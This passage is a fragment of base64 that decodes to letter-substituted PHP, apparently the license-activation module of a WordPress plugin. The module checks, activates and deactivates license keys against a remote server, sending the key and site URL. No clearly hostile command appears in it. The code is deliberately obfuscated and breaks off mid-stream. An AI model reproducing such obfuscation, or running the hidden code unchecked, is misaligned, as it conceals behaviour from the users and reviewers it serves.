nFyTiBHZm1IcUdIIHRyIEJqIGdmdCAzcW1IIEhmIHFVVSBXZlBOIHJCSE5yLiIsICJOV2FxR0hCbW9xZEJVIiwgIkJtb3FkQlUtZEJHTm1yTiIsICIiLCBIUHROICk7CQ0KCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJTmRyTiB7DQoJCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJTldhX05tR2ZVTl90ck5QX1VxSHEoICIiLCBIUEJXKCRkQkdObXJOX1VxSHEtPnJ0R0dOcnIpLCAiICIuaGZXTl90UGQoKS4gIiBCciB0bXF0SGhmUEJwTlUgM0JIaCBIaE4gZEJHTm1yTiAxTmcuIFFkTnFyTiBHZm1IcUdIIHRyIGpmUCBXZlBOIEJtamYuIiwgIk5XYXFHSEJtb3FkQlUiLCAiQm1vcWRCVS1kQkdObXJOIiwgIiIsIEhQdE4gKTsJDQoJCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJCX0JCQkJCQkJCQkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCQl9CQkJCQkJCQ0KDQoJCQkJCQkJCVVCTjsNCgkJCQkJCQkJeFBOcTE7DQoJCQkJCQkJCQkJDQoJCQkJCQkJCUdxck4gJ3JCSE5fQm1xR0hCb04nOiAvLyBKaEJyIFBOckRmbXJOIEJqIGRCR05tck4gb3FkQlUgeHRIIEhoTiByQkhOIEJyIG1mSCBxdEhoZlBCcE4NCgkJCQkJCQkJCQ0KCQkJCQkJCQkJJGRCR05tck5fVXFIcSA9IF9OV2FpTkhHaFdmVU4oICRxREJfRHFQcVdyLCBIUHROLCAncUdIQm9xSE5fZEJHTm1yTicsICRfUU0ySlsnZDFOZyddICk7DQoJCQkJCQkJCQkNCgkJCQkJCQkJCUJqIChIUEJXKCRkQkdObXJOX1VxSHEtPnJ0R0dOcnIpID09IEhQdE4pIHsNCgkJCQkJCQkJCQkNCgkJCQkJCQkJCQlOV2FfdERVcUhOX2RCR05tck5fZkRIQmZtKCRkQkdObXJOX1VxSHEsIGpxZHJOKTsNCgkJCQkJCQkJCQkNCgkJCQkJCQkJCQlOV2FfTm1HZlVOX3RyTlBfVXFIcSggIlsiLkhQQlcoa3JmbV9ObUdmVU4oICRkQkdObXJOX1VxSHEgKSkuIl0iLCBIUEJXKCRkQkdObXJOX1VxSHEtPnJ0R0dOcnIpLCAiSmhxbTEgZ2Z0IGpmUCBvcWRCVXFIQm1hICIuJE5XYURkdGFtcVdOLiIgKCAiLk5xcmdXTlVCcV9hTkhfRGR0YUJtX29OUHJCZm0oKS4iICkgZEJHTm1yTi4iLCAiTldhcUdIb3FkQlUiLCAib3FkQlUtZEJHTm1yTiIsICJxR0hmVU4iLCBIUHROICk7CQkJCQkJCQkJCQ0KCQkJCQkJCQkJCQ0KDQoJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCU5kck4NCgkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCUJqICggSFBCVygkZEJHTm1yTl9VcUhxLT5OUFBmUCA9PSAnUE5vZjFOVScgKSApIHsNCgkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJCU5XYV9ObUdmVU5fdHJOUF9VcUhxKCAiIiwgSFBCVygkZEJHTm1yTl9VcUhxLT5ydEdHTnJyKSwgIjZmdFAgdUJHTm1yTiBocXIgeE5ObSBQTm9mMU5VLiBRZE5xck4gR2ZtSHFHSCB0ciBqZlAgV2ZQTiBCbWpmLiIsICJOV2FxR0hCbW9xZEJVIiwgIkJtb3FkQlUtZEJHTm1yTiIsICIiLCBIUHROICk7CQ0KCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJfSANCgkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJTmRyTiBCaiAoIEhQQlcoJGRCR05tck5fVXFIcS0+TlBQZlAgPT0gJ21mX3FHSEJvcUhCZm1yX2ROakgnICkgKSB7DQoJCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCQlOV2FfTm1HZlVOX3RyTlBfVXFIcSggIiIsIEhQQlcoJGRCR05tck5fVXFIcS0+cnRHR05yciksICJzZiBxR0hCb3FIQmZtIGROakggamZQIEhoQnIgZEJHTm1yTiAxTmcuIFFkTnFyTiBHZm1IcUdIIHRyIEJqIGdmdCAzcW1IIEhmIHFVVSBXZlBOIHJCSE5yLiIsICJOV2FxR0hCbW9xZEJVIiwgIkJtb3FkQlUtZEJHTm1yTiIsICIiLCBIUHROICk7CQ0KCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJTmRyTiB7DQoJCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJTldhX05tR2ZVTl90ck5QX1VxSHEoICIiLCBIUEJXKCRkQkdObXJOX1VxSHEtPnJ0R0dOcnIpLCAiICIuaGZXTl90UGQoKS4gIiBCciB0bXF0SGhmUEJwTlUgM0JIaCBIaE4gZEJHTm1yTiAxTmcuIFFkTnFyTiBHZm1IcUdIIHRyIGpmUCBXZlBOIEJtamYuIiwgIk5XYXFHSEJtb3FkQlUiLCAiQm1vcWRCVS1kQkdObXJOIiwgIiIsIEhQdE4gKTsJDQoJCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJCX0JCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCQkNCgkJCQkJCQkJCQkJfQkNCg0KCQkJCQkJCQlVQk47DQoJCQkJCQkJCXhQTnExOwkNCgkJDQoJCQkJCQkJCUdxck4gJ29xZEJVJzogLy8gMkJITiBCciBxdEhoZlBCcE4gcW1VIEhoTiBkQkdObXJOIEJyIG9xZEJVDQoJCQkJCQkJCQ0KCQkJCQkJCQkJCU5XYV90RFVxSE5fZEJHTm1yTl9mREhCZm0oJGRCR05tck5fVXFIcSwganFkck4pOw0KCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCU5XYV9ObUdmVU5fdHJOUF9VcUhxKCAiWyIuSFBCVyhrcmZtX05tR2ZVTiggJGRCR05tck5fVXFIcSApKS4iXSIsIEhQQlcoJGRCR05tck5fVXFIcS0+ZEJHTm1yTiksICJKaHFtMSBnZnQgamZQIG9xZEJVcUhCbWEgIi4kTldhRGR0YW1xV04uIiAoICIuTnFyZ1dOVUJxX2FOSF9EZHRhQm1fb05QckJmbSgpLiIgKSBkQkdObXJOLiIsICJOV2FxR0hvcWRCVSIsICJvcWRCVS1kQkdObXJOIiwgInFHSGZVTiIsIEhQdE4gKTsJCQkJCQkJCQkJDQoNCgkJCQkJCQkJVUJOOw0KCQkJCQkJCQl4UE5xMTsJCQ0KCQ0KCQkJCQkJCQlHcXJOICdCbW9xZEJVJzogLy8gdUJHTm1yTiBCciBCbW9xZEJVIHFtVSAzQmRkIHhnRHFyciBxZGQgZkhoTlAgZGZhQkcNCg0KCQkJCQkJCQkJCU5XYV9ObUdmVU5fdHJOUF9VcUhxKCAiIiwgSFBCVygkZEJHTm1yTl9VcUhxLT5kQkdObXJOKSwgIkpoTiBkQkdObXJOIDFOZyAiLiRfUU0ySlsnZDFOZyddLiIgQnIgc01KIG9xZEJVLiIsICJOV2FxR0hCbW9xZEJVIiwgIkJtb3FkQlUtZEJHTm1yTiIsICIiLCBIUHROICk7CQkJCQkJCQkJCQ0KCQkJCQkJCQkJCQkJCQkJCQkJDQoJCQkJCQkJCQkJCQ0KCQkJCQkNCgkJCQkJCQkJVUJOOw0KCQkJCQkJCQl4UE5xMTsJDQoJCQ0KCQkJCQkJCQlHcXJOICdOY0RCUE5VJzogLy8gdUJHTm1yTiBCciBCbW9xZEJVIHFtVSAzQmRkIHhnRHFyciBxZGQgZkhoTlAgZGZhQkcNCgkJCQkJCQkJDQoJCQkJCQkJCUJqICggSFBCVygkZEJHTm1yTl9VcUhxLT5Ccl9kQnJITlVfckJITiA9PSBIUHROICkpIHsNCgkJCQkJCQkJCQ0KCQkJCQkJCQkJCU5XYV90RFVxSE5fZEJHTm1yTl9mREhCZm0oJGRCR05tck5fVXFIcSwgSFB0Tik7DQoJCQkJCQkJCQkJDQoJCQkJCQkJCQkJTldhX05tR2ZVTl90ck5QX1VxSHEoICJbIi5IUEJXKGtyZm1fTm1HZlVOKCAkZEJHTm1yTl9VcUhxICkpLiJdIiwgSFBCVygkZEJHTm1yTl9VcUhxLT5kQkdObXJOKSwgIkpocW0xIGdmdCBqZlAgb3FkQlVxSEJtYSAiLiROV2FEZHRhbXFXTi4iICggIi5OcXJnV05VQnFfYU5IX0RkdGFCbV9vTlByQmZtKCkuIiApIGRCR05tck4uIiwgIk5XYXFHSG9xZEJVTmMiLCAiTmNEQlBOVS1kQkdObXJOIiwgIk5jREJQTlUiLCBIUHROICk7DQoJCQkJCQkJCQkNCgkJCQkJCQkJfSBOZHJOIHsNCgkJCQkJCQkJCQ0KCQkJCQkJCQkJTldhX05tR2ZVTl90ck5QX1VxSHEoICIiLCBIUEJXKCRkQkdObXJOX1VxSHEtPmRCR05tck4pLCAiSmhOIGRCR05tck4gMU5nICIuJF9RTTJKWydkMU5nJ10uIiBocXIgTmNEQlBOVSBxbVUgcWRyZiAiLmhmV05fdFBkKCkuICIgQnIgdG1xdEhoZlBCcE5VIDNCSGggSGhOIGRCR05tck4gMU5nLiBRZE5xck4gUE5tTjMgQkggQm0gZlBVTlAgSGYgR2ZtSEJtdE4gUE5HTkJvQm1hIHREVXFITnIgcW1VIHJ0RERmUEguIiwgIk5XYXFHSEJtb3FkQlUiLCAiQm1vcWRCVS1kQkdObXJOIiwgIiIsIEhQdE4gKTsJCQkJCQkJCQkJDQoJCQkJCQkJCQkNCgkJCQkJCQkJfQkJCQkJCQkJCQ0KDQoJCQkJCQkJCS8vTkdoZiBCV0RkZlVOKCAiLCIsIHFQUHFnKCBIUEJXKCRkQkdObXJOX1VxSHEtPmRCR05tck4pLCAiIiwgIiIsICIiKSApOwkNCgkJCQkJDQoJCQkJCQkJCVVCTjsNCgkJCQkJCQkJeFBOcTE7CQ0KCQkJCQkJCQkJDQoJCQkJCQkJCQ0KCQkJCQkJCQlHcXJOICdCSE5XX21xV05fV0JyV3FIR2gnOiAvLyBZaiBEUGZVdEdIIG1mSCBxcnJmR0JxSE5VIDNCSGggZEJHTm1yTiAxTmcNCg0KCQkJCQkJCQkJTldhX05tR2ZVTl90ck5QX1VxSHEoICIiLCBIUEJXKCRkQkdObXJOX1VxSHEtPnJ0R0dOcnIpLCAiSmhOIHVCR05tck4gNU5nIGdmdCBObUhOUE5VIFVmTnIgbWZIIFdxSEdoIDNCSGggIi4kTldhRGR0YW1xV04uICIuIFFkTnFyTiBHZm1IcUdIIHRyIGpmUCBXZlBOIEJtamYuIiwgIk5XYXFHSEJtb3FkQlUiLCAiQm1vcWRCVS1kQkdObXJOIiwgIiIsIEhQdE4gKTsJDQoJCQkJCQ0KCQkJCQkJCQlVQk47DQoJCQkJCQkJCXhQTnExOwkNCgkJCQkJCQkJCQ0KCQkJCQ0KCQkJCQkJCQlHcXJOICdVQnJxeGROVSc6IC8vIHVCR05tck4gQnIgVUJycXhkTlUgeGcgck5Qb05QIHFtVSAzQmRkIHhnRHFyciBxZGQgZkhoTlAgZGZhQkcNCg0KCQkJCQkJCQkvL05HaGYgQldEZGZVTiggIiwiLCBxUFBxZyggSFBCVygkZEJHTm1yTl9VcUhxLT5kQkdObXJOKSwgIiIsICIiLCAiIikgKTsJDQoJCQkJCQ0KCQkJCQkJCQlVQk47DQoJCQkJCQkJCXhQTnExOw0KCQkJCQkJCQ0KCQkJCQkJCQ0KCQkJCQkJCQlVTmpxdGRIOg0KCQkJCQkJCQkNCgkJCQkJCQkJCU5XYV9ObUdmVU5fdHJOUF9VcUhxKCAiIiwgSFBCVygkZEJHTm1yTl9VcUhxLT5kQkdObXJOKSwgIlhQUGZQOiBqcUJkTlUgSGYgUE5IUEJOb04gVXFIcSBqUGZXIEhoTiBxR0hCb3FIQmZtIHJOUG9OUC4gUWROcXJOIEdmbUhxR0ggdHIgamZQIFdmUE4gQm1qZlBXcUhCZm0uIiwgIk5XYXFHSEJtb3FkQlUiLCAiQm1vcWRCVS1kQkdObXJOIiwgIiIsIEhQdE4gKTsJDQoJCQkJCQkJCQ0KCQkJCQkJCQlVQk47DQoNCgkJCQkJCQkJeFBOcTE7DQoJCQkJCQkJfQ0KDQoJCQkJDQoJCQkJCVVCTjsNCgkJCQkJeFBOcTE7CQ0KDQoJCQkNCgkJCQlHcXJOICdxR0hCb3FITic6DQoJCQkJDQoJCQkJVUJOOw0KCQkJCXhQTnExOwkNCgkJCQkNCgkJCQlHcXJOICdQTmRmcVUnOg0KCQkJCQ0KCQkJCQkkZEJHTm1yTl9VcUhxID0gX05XYWlOSEdoV2ZVTiggJHFEQl9EcVBxV3IsIEhQdE4sICdHaE5HMV9kQkdObXJOJywgJF9RTTJKWydkMU5nJ10gKTsNCgkJCQkNCgkJCQkJcjNCSEdoICggSFBCVygkZEJHTm1yTl9VcUhxLT5kQkdObXJOKSApIHsNCgkJCQkJCQ0KCQkJCQkJCQlHcXJOICdvcWRCVSc6IC8vIDJCSE4gQnIgcXRIaGZQQnBOIHFtVSBIaE4gZEJHTm1yTiBCciBvcWRCVQ0KCQkJCQkJCQkNCgkJCQkJCQkJCQlOV2FfdERVcUhOX2RCR05tck5fZkRIQmZtKCRkQkdObXJOX1VxSHEsIGpxZHJOKTsNCgkJCQkJCQkJCQkNCgkJCQkJCQkJCQlOV2FfTm1HZlVOX3RyTlBfVXFIcSggIlsiLkhQQlcoa3JmbV9ObUdmVU4oICRkQkdObXJOX1VxSHEgKSkuIl0iLCBIUEJXKCRkQkdObXJOX1VxSHEtPmRCR05tck4pLCAiIiwgIk5XYXFHSG9xZEJVIiwgIm9xZEJVLWRCR05tck4iLCAicUdIZlVOIiwgSFB0TiApOwkJCQkJCQkJCQkNCg0KCQkJCQkJCQlVQk47DQoJCQkJCQkJCXhQTnExOwkNCgkJCQkJCQkJDQoJCQkJCQkJCUdxck4gJ05jREJQTlUnOg0KCQkJCQkJCQkNCgkJCQkJCQkJQmogKCBIUEJXKCRkQkdObXJOX1VxSHEtPkJyX2RCckhOVV9yQkhOID09IEhQdE4gKSkgew0KCQkJCQkJCQkJDQoJCQkJCQkJCQkJTldhX3REVXFITl9kQkdObXJOX2ZESEJmbSgkZEJHTm1yTl9VcUhxLCBIUHROKTsNCgkJCQkJCQkJCQkNCgkJCQkJCQkJCQlOV2FfTm1HZlVOX3RyTlBfVXFIcSggIlsiLkhQQlcoa3JmbV9ObUdmVU4oICRkQkdObXJOX1VxSHEgKSkuIl0iLCBIUEJXKCRkQkdObXJOX1VxSHEtPmRCR05tck4pLCAiWFBQZlA6IGpxQmROVSBIZiBQTkhQQk5vTiBVcUhxIGpQZlcgSGhOIHFHSEJvcUhCZm0gck5Qb05QLiBRZE5xck4gR2ZtSHFHSCB0ciBqZlAgV2ZQTiBCbWpmUFdxSEJmbS4iLCAiTldhcUdIb3FkQlVOYyIsICJOY0RCUE5VLWRCR05tck4iLCAiTmNEQlBOVSIsIEhQdE4gKTsNCgkJCQkJCQkJCQ0KCQkJCQkJCQl9IE5kck4gew0KCQkJCQkJCQkJDQoJCQkJCQkJCQlOV2FfTm1HZlVOX3RyTlBfVXFIcSggIiIsIEhQQlcoJGRCR05tck5fVXFIcS0+ZEJHTm1yTiksICIiLCAiTldhcUdIQm1vcWRCVSIsICJCbW9xZEJVLWRCR05tck4iLCAiIiwgSFB0TiApOwkJCQkJCQkJCQ0KCQkJCQkJCQkJDQoJCQkJCQkJCX0NCgkJCQkJDQoJCQkJCQkJCVVCTjsNCgkJCQkJCQkJeFBOcTE7CQ0KCQkJCQkJCQkJCQkJCQkJCQ0KCQkJCQkJCQlHcXJOICdyQkhOX0JtcUdIQm9OJzogLy8gdUJHTm1yTiBCciBCbW9xZEJVIHFtVSAzQmRkIHhnRHFyciBxZGQgZkhoTlAgZGZhQkcNCg0KCQkJCQkJCQkJCU5XYV9ObUdmVU5fdHJOUF9VcUhxKCAiIiwgSFBCVygkZEJHTm1yTl9VcUhxLT5kQkdObXJOKSwgIlhQUGZQOiBqcUJkTlUgSGYgUE5IUEJOb04gVXFIcSBqUGZXIEhoTiBxR0hCb3FIQmZtIHJOUG9OUC4gUWROcXJOIEdmbUhxR0ggdHIgamZQIFdmUE4gQm1qZlBXcUhCZm0uIiwgIk5XYXFHSEJtb3FkQlUiLCAiQm1vcWRCVS1kQkdObXJOIiwgIiIsIEhQdE4gKTsJCQkJCQkJCQkJDQoJCQkJCQ0KCQkJCQkJCQlVQk47DQoJCQkJCQkJCXhQTnExOwkJCQkJCQ0KCQkJCQkJCQkNCgkJCQkJCQkJVU5qcXRkSDoNCgkJCQkJCQkJDQoJCQkJCQkJCQlOV2FfTm1HZlVOX3RyTlBfVXFIcSggIiIsIEhQQlcoJGRCR05tck5fVXFIcS0+ZEJHTm1yTiksICJYUFBmUDoganFCZE5VIEhmIFBOSFBCTm9OIFVxSHEgalBmVyBIaE4gcUdIQm9xSEJmbSByTlBvTlAuIFFkTnFyTiBHZm1IcUdIIHRyIGpmUCBXZlBOIEJtamZQV3FIQmZtLiIsICJOV2FxR0hCbW9xZEJVIiwgIkJtb3FkQlUtZEJHTm1yTiIsICIiLCBIUHROICk7CQ0KCQkJCQkJCQkNCgkJCQkJCQkJVUJOOw0KCQkJCQkJCQl4UE5xMTsNCgkJCQkJCX0NCgkJCQkNCgkJCQlVQk47DQoJCQkJeFBOcTE7CQkJCQkJCQ0KCQ0KCQkJCUdxck4gJ1VOcUdIQm9xSE4nOg0KCQkJCQ0KCQkJCSRkQkdObXJOX1VxSHEgPSBfTldhaU5IR2hXZlVOKCAkcURCX0RxUHFXciwgSFB0TiwgJ1VOcUdIQm9xSE5fZEJHTm1yTicsICRfUU0ySlsnZDFOZyddICk7DQoJCQkJDQoJCQkJCXIzQkhHaCAoIEhQQlcoJGRCR05tck5fVXFIcS0+ZEJHTm1yTikgKSB7DQoJCQkJCQkNCgkJCQkJCQkJR3FyTiAnVU5xR0hCb3FITlUnOiAvLyAyQkhOIEJyIHF0SGhmUEJwTiBxbVUgSGhOIGRCR05tck4gQnIgb3FkQlUNCgkJCQkJCQkJDQoJCQkJCQkJCQlVTmROSE5fZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicgKTsJDQoJCQkJCQ0KCQkJCQkJCQkJTldhX05tR2ZVTl90ck5QX1VxSHEoICIiLCBIUEJXKCRkQkdObXJOX1VxSHEtPmRCR05tck4pLCAiNmZ0UCBkQkdObXJOIFsgIi4kX1FNMkpbJ2QxTmcnXS4iIF0gcnRHR05ycmp0ZGRnICIuSFBCVygkZEJHTm1yTl9VcUhxLT5kQkdObXJOKS4iLiIsICJOV2FxR0hCbW9xZEJVIiwgIkJtb3FkQlUtZEJHTm1yTiIsICJVTkhmcUdIIiwgSFB0TiApOw0KDQoJCQkJCQkJCVVCTjsNCgkJCQkJCQkJeFBOcTE7CQ0KCQkJCQkJCQkNCgkJCQkJCQkJR3FyTiAnanFCZE5VJzoNCgkJCQkJCQkJDQoJCQkJCQkJCQlOV2FfTm1HZlVOX3RyTlBfVXFIcSggIiIsIEhQQlcoJGRCR05tck5fVXFIcS0+ZEJHTm1yTiksICJYUFBmUDogNmZ0IEdxbW1mSCBVTnFHSEJvcUhOIEhoTiBkQkdObXJOIDNoTm0gZ2Z0UCBkQkdObXJOIDNxciBOY0RCUE5VLiA2ZnQgZm1kZyBxeGROIEhmIHRyTiBIaEJyIGRCR05tck4gamZQIGdmdFAgR3RQUE5tSCByQkhOLiBRZE5xck4gR2ZtSHFHSCB0ciBqZlAgV2ZQTiBCbWpmUFdxSEJmbS4iLCAiTldhcUdIQm1vcWRCVSIsICJCbW9xZEJVLWRCR05tck4iLCAiIiwgSFB0TiApOwkNCgkJCQkJDQoJCQkJCQkJCVVCTjsNCgkJCQkJCQkJeFBOcTE7CQ0KCQkJCQkJCQkJCQkJCQkJCQ0KCQkJCQkJCQlHcXJOICdyQkhOX0JtcUdIQm9OJzogLy8gdUJHTm1yTiBCciBCbW9xZEJVIHFtVSAzQmRkIHhnRHFyciBxZGQgZkhoTlAgZGZhQkcNCg0KCQkJCQ0KCQkJCQkJCQkNCgkJCQkJCQkJVU5qcXRkSDoNCgkJCQkJCQkJDQoJCQkJCQkJCQlOV2FfTm1HZlVOX3RyTlBfVXFIcSggIiIsIEhQQlcoJGRCR05tck5fVXFIcS0+ZEJHTm1yTiksICJYUFBmUDoganFCZE5VIEhmIFBOSFBCTm9OIFVxSHEgalBmVyBIaE4gcUdIQm9xSEJmbSByTlBvTlAuIFFkTnFyTiBHZm1IcUdIIHRyIGpmUCBXZlBOIEJtamZQV3FIQmZtLiIsICJOV2FxR0hCbW9xZEJVIiwgIkJtb3FkQlUtZEJHTm1yTiIsICIiLCBIUHROICk7CQ0KCQkJCQkJCQkNCgkJCQkJCQkJVUJOOw0KCQkJCQkJCQl4UE5xMTsNCgkJCQkJCX0NCgkJCQkNCg0KCQkJCQlVQk47DQoJCQkJCXhQTnExOw0KCQkJCQ0KCQkJCVVOanF0ZEg6DQoJCQkJVUJOOw0KCQkJCXhQTnExOwkJCQ0KDQoJCX0NCgl9DQp9DQpxVVVfcUdIQmZtKCAnM0RfcWtxY19OV2FfcWtxY19vcWRCVXFIQmZtJywgJ05XYV9xa3FjX29xZEJVcUhCZm0nICk7DQoNCmp0bUdIQmZtIE5XYV9hTkhfZEJHX2ZESEJmbSgkZkRIQmZtX21xV04sICQxTmcsICRVTmpxdGRIID0ganFkck4pIHsNCgkkZkRIQmZtciA9IGFOSF9mREhCZm0oICRmREhCZm1fbXFXTiApOw0KDQoJQmogKCAkZkRIQmZtciApIHsNCgkJUE5IdFBtIChxUFBxZ18xTmdfTmNCckhyKCAkMU5nLCAkZkRIQmZtciApKSA/ICRmREhCZm1yWyQxTmddIDogJFVOanF0ZEg7DQoJfQ0KDQoJUE5IdFBtICRVTmpxdGRIOw0KfQ0KDQpqdG1HSEJmbSBOV2FfVU5kX2RCR19mREhCZm0oJGZESEJmbV9tcVdOLCAkMU5nKSB7DQoJJGZESEJmbXIgPSBhTkhfZkRIQmZtKCAkZkRIQmZtX21xV04gKTsNCg0KDQp9DQoNCmp0bUdIQmZtIE5XYV90RFVxSE5fZEJHTm1yTl9mREhCZm0oJGRCR05tck5fVXFIcSwgJGpmUHJIcUh0ciA9IGpxZHJOICkgew0KCQ0KCUJqICggJGpmUHJIcUh0ciA9PT0ganFkck4gKSB7DQoJCSRqQm1ySHFIdHIgPSBIUEJXKCRkQkdObXJOX1VxSHEtPmRCR05tck4pOw0KCQl9IE5kck4gew0KCQkJJGpCbXJIcUh0ciA9ICdOY0RCUE5VJzsJCQkNCgkJfQ0KCQ0KCSRkQkdvcWQgPSBxUFBxZygNCgkiTldhX2RCR05tck5fckhxSHRyIiA9PiAkakJtckhxSHRyLA0KCSJOV2FfZEJHTm1yTl8xTmciID0+IEhQQlcoJF9RTTJKWydkMU5nJ10pLA0KCSJOV2FfZEJHTm1yTl9mM21OUCIgPT4gSFBCVygkZEJHTm1yTl9VcUhxLT5HdHJIZldOUF9tcVdOKSwNCgkiTldhX2RCR05tck5fTldxQmQiID0+IEhQQlcoJGRCR05tck5fVXFIcS0+R3RySGZXTlBfTldxQmQpLA0KCSJOV2FfZEJHTm1yTl9EUGZVdEdIIiA9PiBIUEJXKCRkQkdObXJOX1VxSHEtPkJITldfbXFXTiksDQoJIk5XYV9kQkdObXJOX2RCV0JIIiA9PiBIUEJXKCRkQkdObXJOX1VxSHEtPmRCR05tck5fZEJXQkgpLA0KCSJOV2FfZEJHTm1yTl90cnFhTiIgPT4gSFBCVygkZEJHTm1yTl9VcUhxLT5yQkhOX0dmdG1IKSwNCgkiTldhX2RCR05tck5fTmNEQlBOIiA9PiBIUEJXKCRkQkdObXJOX1VxSHEtPk5jREJQTnIpDQoJCSk7DQoJCQ0KCQl0RFVxSE5fZkRIQmZtKCdOV2FEUGZfZEJHTm1yTl9CbWpmJywgJGRCR29xZCk7CQ0KCQkJDQp9DQoNCg0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCiogSGhCciBoZjMgM04gcUdIQm9xSE4gcSBkQkdObXJOIDFOZw0KKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCi8qDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnwgN2hORzEgQmogR3RQZCBCciBObXF4ZE5VIGZQIFVCcnF4ZE5VDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiovDQpqdG1HSEJmbSBfTldhaU5IR2hXZlVOKCAkcURCX0RxUHFXciwgJEhoTjFOZyA9IGpxZHJOLCAkcUdIQmZtLCAkZEJHTm1yTiApew0KCQ0KCSRxREJfRHFQcVdyID0gcVBQcWcoDQoJJ05VVV9xR0hCZm0nPT4gJHFHSEJmbSwNCgknZEJHTm1yTicgCT0+ICRkQkdObXJOLA0KCSdCSE5XX21xV04nID0+IHRQZE5tR2ZVTiggWFpuX1lKWFpfc0FaWCApIC8vIEhoTiBtcVdOIGZqIGZ0UCBEUGZVdEdIIEJtIFhGRgkNCgkJKTsJDQoJDQoJQmogKCAkSGhOMU5nID09IEhQdE4gKSB7DQoJCSRxUFB0UGQgPSBxUFBxZygNCgkJInRQZCIgPT4gYU5IX3JCSE5fdFBkKCkNCgkJKTsNCgkJJHFEQl9EcVBxV3IgPSBxUFBxZ19XTlBhTigkcURCX0RxUHFXciwgJHFQUHRQZCk7DQoJfQkNCgkNCiAgICBCaihqdG1HSEJmbV9OY0JySHIoJ0d0UGRfb05QckJmbScpKXsNCgkJDQoJCSRQTnJEZm1yTiA9IDNEX1BOV2ZITl9hTkgoIHFVVV8wdE5QZ19xUGEoICRxREJfRHFQcVdyLCBYWm5fMkpNVlhfS1Z1N0tWdSApLCBxUFBxZyggJ0hCV05mdEgnID0+IEVTLCAncnJkb05QQmpnJyA9PiBqcWRyTiApICk7DQoJCQ0KCQlCaiAoIEJyXzNEX05QUGZQKCAkUE5yRGZtck4gKSApDQoJCQlQTkh0UG0ganFkck47DQoNCgkJCSRHVXFIcSA9IGtyZm1fVU5HZlVOKCAzRF9QTldmSE5fUE5IUEJOb05feGZVZyggJFBOckRmbXJOICkgKTsNCgkJCQ0KCQkJfQ0KICAJCQkJTmRyTiB7DQoNCgkJCQkJJGtyZm1fdFBkID0gcVVVXzB0TlBnX3FQYSggJHFEQl9EcVBxV3IsIFhabl8ySk1WWF9LVnUgKTsNCgkJCQkJJGtyZm0gPSBqQmROX2FOSF9HZm1ITm1IciggJGtyZm1fdFBkICk7DQoJCQkJCQ0KCQkJCQkJQmogKCBCcl8zRF9OUFBmUCggJGtyZm1fdFBkICkgKQ0KCQkJCQkJCVBOSHRQbSBqcWRyTjsNCg0KCQkJCQkJCSRHVXFIcSA9IGtyZm1fVU5HZlVOKCAka3JmbSApOwkJDQoJCQkJCX0JCQkJCQkJDQoJCQkJCQkNCgkJUE5IdFBtICRHVXFIcTsJDQp9DQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCiogSGhCciBoZjMgM04gR2hORzEgDQoqIHEgZEJHTm1yTiAxTmcNCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQpqdG1HSEJmbSBOV2FfR2hORzFfZEJHTm1yTigpIHsNCmFkZnhxZCAkcURCX0RxUHFXcjsNCgkkZEJHID0gTldhX2FOSF9kQkdfZkRIQmZtKCAnTldhRFBmX2RCR05tck5fQm1qZicsICdOV2FfZEJHTm1yTl8xTmcnLCAnJyApOwkNCg0KCUJqICggJGRCRyApIHsNCgkJJGRCR05tck4gPSAkZEJHOw0KCX0gTmRyTiB7DQoJCSRkQkdObXJOID0gJ0VDYmVTd2w0T3knOwkNCgl9DQoJCQ0KCSRkQkdObXJOX1VxSHEgPSBfTldhaU5IR2hXZlVOKCAkcURCX0RxUHFXciwgSFB0TiwgJ0doTkcxX2RCR05tck4nLCAkZEJHTm1yTiApOwkJDQoJDQoJLy8gMkhxUEggN2hORzEgdUJHTm1yTiBUTlBODQoNCglyM0JIR2ggKCBIUEJXKCRkQkdObXJOX1VxSHEtPmRCR05tck4pICkgew0KCQkNCgkJLy9KaEJyIEFRWSBQTjB0TnJIIHRyTiBkQkdObXJOIERxUHFXTkhOUA0KCQkNCgkJDQoJCUdxck4gJ0JtcUdIQm9OJzogLy8gWnRySCBxR0hCb3FITiBIaE4gZEJHTm1yTiBxbVUgUE5IdFBtIEhmIGZIaE5QIGRmYUJHDQoJCQ0KCQkJTldhRFBmX0dkTnFtdERfZEJHTm1yTl9VcUhxKCdCbW9xZEJVJywgJGRCR05tck5fVXFIcS0+TlBQZlApOw0KCQkNCgkJeFBOcTE7DQoJCQ0KCQlHcXJOICdyQkhOX0JtcUdIQm9OJzogLy8gSmhCciBQTnJEZm1yTiBCaiBkQkdObXJCIG9xZEJVIHh0SCBIaE4gckJITiBCciBtZkggcXRIaGZQQnBODQoJCQ0KCQkJTldhRFBmX0dkTnFtdERfZEJHTm1yTl9VcUhxKCdCbW9xZEJVJywgJGRCR05tck5fVXFIcS0+TlBQZlApOw0KCQkNCgkJeFBOcTE7CQkNCgkJDQoJCUdxck4gJ29xZE